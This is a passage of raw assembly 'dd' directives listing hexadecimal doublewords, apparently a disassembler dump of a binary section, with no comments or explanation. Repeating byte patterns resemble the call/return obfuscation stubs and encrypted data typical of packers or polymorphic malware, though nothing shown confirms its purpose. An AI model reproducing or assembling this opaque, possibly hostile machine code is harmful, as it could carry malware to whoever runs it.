		dd 17h,	12E9h, 6B366600h, 3E60AFD9h, 7B966D32h,	81059753h
		dd 0FF396217h, 316D9B5h, 11858906h, 0FF06031Ah,	323A595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 4A5F5C58h, 926A5B5Bh, 30BF661Ch,	0BF6660E2h
		dd 0D680DBD3h, 0B890614Ch, 12345678h, 2A0D8529h, 9D8D0603h
		dd 606C5AAh, 0FFF851E9h, 666052FFh, 850FF78Bh, 0
		dd 5D68161h, 5F3D2831h,	24E99D09h, 4EB0603h, 20885B58h
		dd 56DE9h, 0E8B13A00h, 7D85E7Ch, 24F57D9Bh, 47109AB8h
		dd 6738BDDBh, 2CF03CFBh, 4C6AD6A7h, 6E8CF8C1h, 8FAD19E2h
		dd 0C6CB3708h, 80214F1Ah, 0C3D1D017h, 0FECF56B0h, 3EDAE3FFh
		dd 0AD0119EBh, 850A1008h, 0A32A48B4h, 54DBD3D2h, 0DE060F83h
		dd 0B542D1E0h, 241CD1C9h, 0EECECD9Eh, 67EE9693h, 22A0449Eh
		dd 116F1957h, 81CCD9D6h, 29AEEDECh, 0B5E5958h, 0D80A4CB8h
		dd 116BE70Dh, 0A58A8FD6h, 35DB7264h, 0B11095Ch,	2C4AB67Fh
		dd 5A63D7A0h, 8A16B53Ch, 7CC7C2C1h, 534B3F44h, 521BA69Eh
		dd 59563553h, 0E85C25B1h, 86854EDAh, 5371938Bh,	47FCFBCCh
		dd 0D611F02Ch, 0A36F6C41h, 41400995h, 69624E46h, 0A45C3956h
		dd 7Dh,	0FECF56F3h, 69DAE3FFh, 0E677E68Eh, 3935F8F0h, 30D61169h
		dd 1BD05E5Bh, 125C39CFh, 1, 0F2003261h,	5C929F68h, 0BAD61145h
		dd 68636233h, 676D6572h, 939C10E1h, 32B151Ch, 590E0636h
		dd 960ADB61h, 3534FD88h, 958D423Ah, 6343420Bh, 313F0B08h
		dd 8D56E1A7h, 4140938Eh, 0C2484E46h, 0D8DE36F9h, 9C378253h
		dd 0A4186B21h, 3E3D0E96h, 0B294B43h, 547B384h, 0A79F70F7h
		dd 0D156DCh, 0B5830901h, 66616029h, 0C4C38C16h,	0F90276C9h
		dd 3D80F691h, 2DE2DAFBh, 1BC3C07Fh, 3B59C596h, 935CE6B4h
		dd 47469994h, 73F9C74Fh, 7F504FA2h, 607B0906h, 0BC5C398Eh
		dd 575627AEh, 9A29645Ch, 19000000h, 0B3B2830Bh,	56F5C0B8h
		dd 90100D1h, 0D1B1B081h, 0C2931927h, 0F5D0C8C3h, 0FACB50F8h
		dd 6B895486h, 0B1D61145h, 635E5D26h, 4668606Dh,	0E907D204h
		dd 89D61145h, 0F97E847Ch, 0A7312928h, 950EDFDEh, 34BECC98h
		dd 5C87736Bh, 0D75C39E1h, 9Ah, 0D15626h, 5D285A8Ch, 0D6114517h
		dd 0AFC5D2DFh, 0C9D61145h, 1145F0FEh, 7D7380D6h, 0CBC37870h
		dd 0F402763Fh, 0F3A8A069h, 0F98492EAh, 3E363130h, 689A6663h
		dd 1145579Dh, 8E151FD6h, 70C3BEBDh, 0D4CC9520h,	0C7849CEh
		dd 0FFD05629h, 26F77D8Bh, 2B5D792Eh, 11451260h,	5B9964D6h
		dd 1BD61145h, 1FEA180Eh, 0D61145D1h, 494194A1h,	11456D86h
		dd 5821ABD6h, 0ED76159h, 0EA7039BEh, 811790Dh, 88A6A5F8h
		dd 8601ACA9h, 0AD26B4B1h, 795C3931h, 1E16DF6Bh,	1E3h, 323200h
		dd 11453F35h, 8D15DD6h,	0B180E09h, 0B4850D13h, 6536BDB5h
		dd 19E26E66h, 0CB9C221Ah, 2423F47Bh, 41ECE944h,	47EFECCBh
		dd 9D66F1BFh, 0E450A39Eh, 20946C99h, 45CD23EEh,	5C27D611h
		dd 0D6114516h, 0CEDBD1DEh, 5AE1ACD6h, 9EDC1467h, 0BA3F0590h
		dd 0F29E96E9h, 67EEE6E5h, 850C2A96h, 430E40B4h,	0D012662Dh
		dd 0BC0B8C5h, 12661E56h, 65626BD0h, 0F96536BDh,	5021A9B7h
		dd 0FDCB5258h, 0AEA9A871h, 0EAB5E75Bh, 0D0126684h, 0B2675F6Ch
		dd 476A33BAh, 0B3B6D014h, 0A0AE2275h, 70FA4A1Bh, 0B5ADA8A7h
		dd 36445200h, 83F1BCAEh, 73D0123Eh, 401B1366h, 43149B43h
		dd 0F4EBC6CFh, 815A9A24h, 68636789h, 0A35A3A73h, 12Ch
		dd 32FB8593h, 326F3Ah, 11453F35h, 0B2AAB7D6h, 67A067Fh
		dd 145FF03Bh, 67EEFCDCh, 0EDF29E96h, 0EF7A59F0h, 9F4DDB26h
		dd 6F8550C4h, 7D01268h,	0B0A8A7FAh, 0CEEC5829h,	648A5547h
		dd 0CD01268h, 0B0AF7802h, 9B0F62B5h, 3736078Dh,	978F443Ch
		dd 48403F10h, 0F9F1F0C1h, 9CA5A46Dh, 0E5EB9693h, 0FA812926h
		dd 32B9BD29h, 0A5A3ACEh, 5AA576FCh, 0F4DE2071h,	205B53F6h
		dd 5Eh,	29F1296Fh, 0E97583B5h, 45DD1320h, 8B95D611h, 0EAE23506h
		dd 454FF5C0h, 0BAC7D611h, 0E8B13846h, 4D4A36C5h, 776FC2BDh
		dd 0E98A6C2h, 534B4645h, 116A6290h, 6031B8D6h, 15DE6961h
		dd 1C19F816h, 0B9B66171h, 61E7B4E4h, 0FEC93D90h, 0D6116A40h
		dd 2A57C3D0h, 58h, 6D36C0CEh, 0FC29AA75h, 4EE5B024h, 0AADC1467h
		dd 4D45169Ch, 9D9594A1h, 0BBD94516h, 0AF646334h, 0D012654Ah
		dd 13BBB8C1h, 6932BE8Ch, 265FAA16h, 0FA1BE65Ah,	0F6DA1B2Fh
		dd 0AFFBF9C4h, 6E7BDA18h, 0BEBDCA76h, 6F6E3FC6h, 0A0757251h
		dd 5C279B65h, 0D011E139h, 593CA8B5h, 0B024FC29h, 180BA0E5h
		dd 32313EDCh, 76E2B33Ah, 0FEA12B34h, 590152B0h,	3D45B61h
		dd 1FA74F04h, 630DFA99h, 4FCCD55h, 0FD842C29h, 24AAB82Ch
		dd 0F7395B53h, 3A0035EEh, 261EC8E9h, 0C9C89920h, 7F7E47D1h
		dd 0DD858261h, 0D7198556h, 29ACE6CEh, 4C440B45h, 0EFEEBF46h
		dd 3E8h, 3D54EB00h, 504CD56h, 0B6B5860Dh, 6A6932BEh, 1F1EE772h
		dd 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h
		dd 6FB2686Fh, 34890000h, 71AA6824h, 4890000h, 2FD06824h
		dd 1C890000h, 0E4BE5624h, 530606C5h, 0D889F389h, 8B545E5Bh
		dd 0C481241Ch, 4, 4815057h, 0B30E4B24h,	0EF815F54h, 54B30E4Bh
		dd 5F087B89h, 52241C8Bh, 0C281E289h, 4,	4C281h,	14870000h
		dd 48B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4,	5C243487h
		dd 0FCB2D8E9h, 449DD6FFh, 3005241Bh, 0D4B8F2E3h, 30606CAh
		dd 0F7E0FFC5h, 866AE22Dh, 0EB038338h, 0DF149BE0h, 0D11791C5h
		dd 0C83123A7h, 0A83A91C4h, 9D0B0439h, 364C23ACh, 502ED1C6h
		dd 9909484Bh, 7D2DC7B0h, 0B17B5E19h, 8954D621h,	460CF925h
		dd 0FE3EBF72h, 8640FEB5h, 0FC7E67F5h, 737AA6F7h, 0F21708DEh
		dd 0C65C2740h, 80462409h, 0DB700E4Bh, 0CE158862h, 0CC723F24h
		dd 0C930F62Fh, 43358CD4h, 5B3AC1B7h, 0B27F9279h, 366E00D8h
		dd 0DF180639h, 32259AC4h, 8B165044h, 55006AC1h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0C7C32A7h
		dd 0B5205D42h, 0C59D3198h, 0EB060323h, 4, 41952900h, 6A06030Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 95FC350h,	0B70F7B3Ah, 9858DF6h, 6A060313h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0E110C353h, 5AA43191h, 0AA98D89h,	0BF900603h
		dd 55AB90ECh, 0BF669050h, 6A32BCh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 8BC35242h, 800F50h,	8B000000h
		dd 32451B5h, 13E806h, 9A810000h, 37B3A8EEh, 36965EC8h
		dd 804E94DBh, 0B7B16393h, 0F1BD8B57h, 5F060318h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 67489FC3h, 48D63052h, 13858D64h, 6A0606CEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0F2ADC352h, 324078B0h, 0AC087F8Fh, 6D8BBF66h, 2D859D89h
		dd 0C0830603h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C827DD30h, 0BD1157AEh
		dd 16810F56h, 0E9000000h, 11h, 0FE52BD51h, 0B65D50FAh
		dd 0E52F9B27h, 5427693Fh, 0BE665F43h, 89501DD8h, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 6FD6C1C3h, 53E3D4Fh,	6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0A0161EC3h, 51B58986h
		dd 6A06032Eh, 0F995FF00h, 6A06031Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8B4DC357h
		dd 8D01F08Bh, 6032A91h,	99339D8Dh, 6A0606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 90E34C3h
		dd 0B58B8B1Bh, 6031595h, 29FCD3FFh, 30F8D9Dh, 185FF06h
		dd 6606031Dh, 9D69E781h, 0DAAE9h, 0E800h, 815D0000h, 6CE1DEDh
		dd 7BCF8106h, 8133AC31h, 316D9BDh, 7D006h, 44860F00h, 0E8000001h
		dd 10h,	12DFD671h, 89A6B170h, 0C99A5ABDh, 889D72D1h, 8B5FF78Bh
		dd 322799Dh, 0CDB50906h, 81060304h, 100E3h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 4FDA1357h, 0CFC41F7Eh, 0DB0BF5F6h, 0A4850Fh,	85090000h
		dd 6031BD9h, 0CC08BD83h, 0F000606h, 2A84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0C485192Ah, 5A880FDh, 73E9h,	0C75F5700h, 6CC0885h, 106h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 910A2572h, 0BD8B4B24h, 60322C1h,	3BE9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 9AB52A75h, 0ED5A6E3Ah, 9529A3DFh, 6031A29h
		dd 0DADBD8Bh, 85C70603h, 606CC08h, 0
		dd 22799D8Dh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 7023ABC3h, 8BE267D8h, 32E41B5h
		dd 0BD9D2906h, 81060304h, 0FFFEFF23h, 0FF860FFh, 6661DBB7h
		dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 33E3FFC3h, 0F5763032h, 3A2CB06h, 31741BDh
		dd 0BC43BE06h, 0C3F67133h, 73840F04h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 7B1FC355h, 0A995FFh,	66600603h, 61ADF281h, 0DEF8166h
		dd 0BE506106h, 2936BF42h, 60240489h, 0EE9h, 0C42FD400h
		dd 36EFB0DFh, 663FFC72h, 0E82FF190h, 14h, 3057F702h, 26D94025h
		dd 0B5339C73h, 0A4B4529h, 6FB5A1C7h, 870Fh, 61590000h
		dd 16BD9589h, 90E90603h, 89000003h, 32D0595h, 6A00B006h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 1485C351h, 7E970E6h, 90000000h, 2BB304Dh
		dd 71E4789Bh, 45F9BF66h, 6AD8B60Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BAFEC353h
		dd 6, 0AE8FA8Bh, 6F000000h, 0DA490484h,	79EE2DBDh, 0C38B5EAFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 57C35646h
		dd 0AEFBC577h, 26CDBD23h, 0F88B0603h, 0DBE18160h, 6619B5C6h
		dd 618A36BBh, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0A275C352h,	0CD2B49C7h
		dd 0D500A5Ah, 0EF1BD0Bh, 0F7660603h, 53006AE2h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0D82B5FDBh
		dd 0BCBE6650h, 241C892Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 57C35747h, 45F78052h,	0D5BD8B89h, 0FF06032Ah
		dd 316D9B5h, 65B58906h,	0FF060316h, 323A595h, 6A00B006h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0EB7FC356h, 0C3F3ED26h, 9B64BEBAh, 0F7816A25h
		dd 614EC0ECh, 840F70E6h, 6, 0DDABC781h,	71E43027h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 86C35646h, 0D574DC35h
		dd 0FDD1330h, 282h, 0E8F88B00h,	11h, 8763A9E8h,	83F4191Bh
		dd 0F4346E2Ch, 0EB9976BCh, 31CF8168h, 5E457C52h, 830F613Ch
		dd 1CBh, 71BD8B60h, 8B06030Ch, 30391B5h, 0B60F6106h, 6BAF5D8h
		dd 0FC000000h, 0B50BC38Bh, 603091Dh, 64A8F681h,	0E8C15EA5h
		dd 2840F04h, 8B000000h,	0E2F766F3h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0CAC35040h,	18B0F35h, 0F8000000h
		dd 0AE9D82Bh, 0B3000000h, 603A8CE2h, 71ACFBD3h,	0B58B5841h
		dd 6031379h, 880FD82Bh,	153h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0EDC35747h,	333C200Eh, 8B6DE5D5h
		dd 32D91B5h, 7B906h, 95890000h,	6032ED5h, 6A00C183h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 2DF5C357h, 61939EF6h, 830F83E0h, 0
		dd 860FD93Bh, 0EBh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 55C35545h, 659D893Ah,	66060322h, 9D89D98Ch
		dd 6030B05h, 0F04C1F6h,	9084h, 0A995FF00h, 0E9060300h
		dd 14h,	36A40D77h, 2474AD89h, 985D6A0Ch, 8804E5B2h, 3DC91E4Ah
		dd 56006A5Bh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0F607256h, 283h,	235E5100h, 31F8D85h, 0C32B6106h
		dd 17EDBF66h, 8343Dh, 32860F00h, 9000000h, 308E1B5h, 4DE906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 6D9EA8C3h, 98A83EAh, 3197195h, 6AC08B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 190EC351h, 521C8521h, 8B458DE7h, 89D88BC3h
		dd 302C185h, 0B585C706h, 9506030Ch, 893B7B65h, 31C4585h
		dd 6AC08B06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0C454C352h, 610727E2h,	0D9BD818Ch
		dd 0D0060316h, 0F000007h, 2985h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 4B7FC82Eh
		dd 0F08B6664h, 16D985FFh, 0B5FF0603h, 60316D9h,	0B5316060h
		dd 6030355h, 0ADB58B61h, 61060325h, 0B830CF81h,	95FF2550h
		dd 60323A5h, 90FABF0Fh,	53006A40h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 89A2EFDCh, 42BC8051h
		dd 5E8ADh, 6BCE0000h, 8983E911h, 307E995h, 0BD835F06h
		dd 60304B9h, 0DE840F00h, 8B000000h, 32271BDh, 0C1BD8306h
		dd 6030Ch, 0CB840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 6B8B1CC3h, 4B995FFh
		dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0C5845EC3h, 91715C6Ah, 85295FA1h,	603170Dh
		dd 840FC00Bh, 75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 83C35747h, 0EA2B20B3h, 0E94CADD1h, 14h
		dd 9DE03B35h, 95C45D7Eh, 6115A1A7h, 7A24BA52h, 1F130A2Fh
		dd 4D698D8Dh, 0BD8B0603h, 6031729h, 5B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 645BFDE1h, 81E1FFDDh, 0B404AF6h, 65BD8349h, 60306h
		dd 605840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 942902C3h, 0B4330D74h, 835BB98Ah
		dd 30CC1BDh, 840F0006h,	5D3h, 7DF8160h,	0F0BEF7Eh, 8D61D6BFh
		dd 31CC18Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0DE81E680h, 6B44695Bh, 7C8401C7h
		dd 6A44B2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0C6106EC3h, 0AF94DAB6h, 2AB1BD33h, 1810603h
		dd 1499CFCBh, 965BD0Bh,	9E90603h, 0B000000h, 0C5F57F72h
		dd 0B8969871h, 340441C7h, 6ACE706Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 81D4C351h
		dd 0E9503A50h, 0Bh, 480CC2DFh, 65B9ECCAh, 5F4A3E28h, 10044181h
		dd 8131D6D7h, 0C35EE0C7h, 6A006A2Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E978C356h
		dd 0Fh,	17F67467h, 0C0B43181h, 79731960h, 292BB9BAh, 3070585h
		dd 0C1858D06h, 6006031Ch, 5B9BD01h, 8B0F0603h, 0
		dd 4895061h, 0E5BE6624h, 51BD8B18h, 0FF060303h,	3066595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 50184D88h, 0F6DB88ABh, 8F0F5C0Ch, 0
		dd 1CC18D8Dh, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0FEA5E4C3h, 1C76Bh, 53000000h, 12E9h
		dd 0BF724B00h, 0C21AE6Ah, 0F53FA171h, 0BF08E885h, 5FE789A0h
		dd 441C7h, 0E9000000h, 0Fh, 70846B33h, 96ABA673h, 97472E39h
		dd 0B0DD9E9h, 5A840FC0h, 0E9000000h, 14h, 0D81A1012h, 1D041811h
		dd 0DEAAE7E9h, 0F61F6016h, 51F82598h, 12E8h, 3A10F200h
		dd 4D1EA6ACh, 0B3D917DEh, 5D6D2316h, 814D0071h,	253BA2C7h
		dd 8D8D5F64h, 6034D69h,	7E9h, 18EFF200h, 4D765882h, 5B8h
		dd 1EE7BE00h, 0E1FF51ACh, 0D68B6ABEh, 0C18D8D64h, 6006031Ch
		dd 6ED8D0Bh, 8D0B0603h,	6030B75h, 7C01C761h, 6A44AA72h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 69E7C350h, 6ABE667Fh, 0CB01814Dh,	601499CFh
		dd 22518589h, 61FC0603h, 3C0441C7h, 6ACE7875h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0FEF7C352h, 0BBBE8CC5h, 8161B54Ah, 0E0FFDAC7h, 441817Bh
		dd 31D6D710h, 75858960h, 61060324h, 8EDB58Bh, 6A0603h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 48C35545h
		dd 683865Fh, 0A959EFB9h, 0C1858D62h, 6A06031Ch,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0BBAAC352h, 0F1BED05Ch, 89EB44EDh, 30585B5h,	0FE8B6606h
		dd 800F6050h, 0
		dd 5E95250h, 9F000000h,	0B922FCC7h, 585A310Fh, 24048961h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0FCC35040h
		dd 2E55EDC8h, 6E88082Bh, 0CDD2BE78h, 95FF110Ah,	6030665h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 7C35343h
		dd 0FEFDB3Fh, 198Eh, 14E900h, 4FA60000h, 6F7B428Ah, 785CE3DAh
		dd 0C698814Ch, 86FC0B0Eh, 8D8D07D2h, 6031CC1h, 1C7FE8Bh
		dd 0
		dd 0B29B531h, 0F28B0603h, 441C7h, 8B000000h, 3246DB5h
		dd 0FC00B06h, 6C84h, 2FF68100h,	8D370B43h, 34D698Dh, 0F3BF6606h
		dd 81666099h, 0FCD92ED7h, 5B861h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8D01CCC3h
		dd 6031AFDh, 2C019D89h,	0E1FF0603h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 8FC35242h, 0FCB48D44h, 0C33A4199h
		dd 0C18D8D33h, 6A06031Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 59B8C352h, 0FAEE5BCh
		dd 108Ah, 5E800h, 0E5A80000h, 0BF04E382h, 2AD03D33h, 0A501C75Eh
		dd 8154CA95h, 8DA735D6h, 0CB01817Ah, 6A1499CFh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 9594C355h, 4F67DBB7h, 1631145h, 3132D8Dh, 0B1B58B06h
		dd 0C7060315h, 59690441h, 6ACE5Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0B9B478C3h, 0B58BE55Dh
		dd 6032909h, 2645BD8Bh,	41810603h, 0D6D71004h, 6AF531h
		dd 2A91B529h, 858D0603h, 6031CC1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0D7C35646h,	859D892Ch, 50060326h
		dd 28D0Fh, 0F28B0000h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B95C353h
		dd 3043DB5h, 0AD8D8906h, 0FF06032Fh, 3066595h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0B536E8B3h, 0B58B0FDEh, 603036Dh, 1CC18D8Dh,	89600603h
		dd 30BA595h, 610DB606h,	1C7h, 0BD8B0000h, 6032159h, 441C7h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 8552C356h, 4AD7734Fh, 0B22D243h
		dd 20840FC0h, 0F8000000h, 4D698D8Dh, 85890603h,	6032D21h
		dd 5B8h, 0F18B6600h, 2035BD33h,	0E1FF0603h, 3FBB70Fh, 0F27FE9CAh
		dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0E77AACC3h, 0FACF8166h, 0D18D29FAh, 8B060307h
		dd 53006AC1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 6860F67h, 81000000h, 9E94CAE6h, 4EB25h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0D107C353h, 7F933C80h,	20D98D89h
		dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0D0E058C3h, 0A8F2B5F2h, 858D2147h, 6031309h
		dd 7E8h, 0EB4EC100h, 4C23A7A7h,	0CE9905Eh, 78000000h, 0D1CC3621h
		dd 0ABCA311Fh, 5005B85Ah, 5E8h,	89FC4400h, 905E043Bh, 2F79B58Bh
		dd 870F0603h, 0Ch, 6860Fh, 0BD890000h, 6031C7Dh, 60BE006Ah
		dd 6A506C6Fh, 99858D00h, 890606DDh, 326B59Dh, 6DBD3106h
		dd 8306032Eh, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B58B97C3h, 6030855h, 525050F5h
		dd 9B9CBE66h, 0F2BE310Fh, 5A7BDD71h, 24048958h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0DFC35040h, 14E9h
		dd 7AEFC400h, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h
		dd 61B50900h, 6A06032Fh, 0ED12BE00h, 6A5589h, 1EFFF681h
		dd 95FF41D1h, 6031DF9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0BCC35040h, 0A859BC8Dh, 8D997174h, 699339Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 63E172CDh, 25E5B501h, 0D3FF0603h, 7E8h
		dd 0DBC18900h, 0E2D93419h, 6CF68166h, 85FF5E44h, 6031D01h
		dd 98DB533h, 81E90603h,	0E8000009h, 0
		dd 0A3ED815Dh, 810606DDh, 323A40C6h, 0D9BD8107h, 0D0060316h
		dd 0F000007h, 1CF86h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0EE814DDBh, 419FDAF2h
		dd 2EB59D8Bh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0B00BE2C3h, 0E2B3E57Bh, 223D9D29h
		dd 0E3810603h, 100h, 9870Fh, 8E0F0000h,	3, 0BF3BF0Fh, 0E6850FDBh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 5B09C351h, 99E32D10h, 35B58B9Eh
		dd 83060331h, 6DBEEBDh,	840F0006h, 3Ah,	13E9h, 0CFD9800h
		dd 25A3C06Dh, 6E9796D1h, 5555BA6Dh, 57D3FCE6h, 0C9E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 85C7C134h, 606DBEEh, 1, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0BFC35242h,	6D09E8CCh, 852AF1Bh
		dd 12E8h, 731F4300h, 3349BFA7h,	0D08BD3B0h, 3FE22CB7h
		dd 893668CCh, 30EBD95h,	5BE95E06h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 8E36C353h, 8CC12069h, 7CFA3FBEh, 0EE85C759h,	606DBh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C931C356h, 0EF5C48BEh, 0FC6CFA22h
		dd 0A1B589h, 9D8D0603h,	6032EB5h, 7128BE66h, 23815E53h
		dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	69C35141h, 6850Fh, 0B58B0000h, 6031DE5h, 7E9h
		dd 0D81A1000h, 1D041811h, 6ADB8C66h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9814C352h
		dd 5C291AE3h, 8166DCFEh, 0F6945ED6h, 840F04C3h,	43h, 30F1B58Bh
		dd 95FF0603h, 60300A9h,	10E9h, 0C4B5F400h, 4EDD01ADh, 0A02A9E2Fh
		dd 0BCEE264Ah, 860F90B0h, 3, 50F18B66h,	0D3DABE66h, 8D0F6090h
		dd 5, 6D271CBEh, 0C1816615h, 0E961B9CBh, 39Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C2C35747h, 0C9AA389Bh
		dd 0EA8D4A41h, 0B0F7BF0Fh, 85B58B00h, 0E6060307h, 55006A70h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0CE9AFE9h, 11000000h, 4F9AD8CDh, 0B893273Eh,	0E9F0C024h
		dd 14h,	8131E475h, 1205DE8Bh, 7A59F0Eh,	0F77213CFh, 2AFD9647h
		dd 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0D6F4C6C3h, 0F08BAE64h, 8F0Fh, 0B60F0000h
		dd 6E9D8h, 0A6460000h, 24BC62C0h, 0BAF0B70Fh, 6, 4499D89h
		dd 0C38B0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
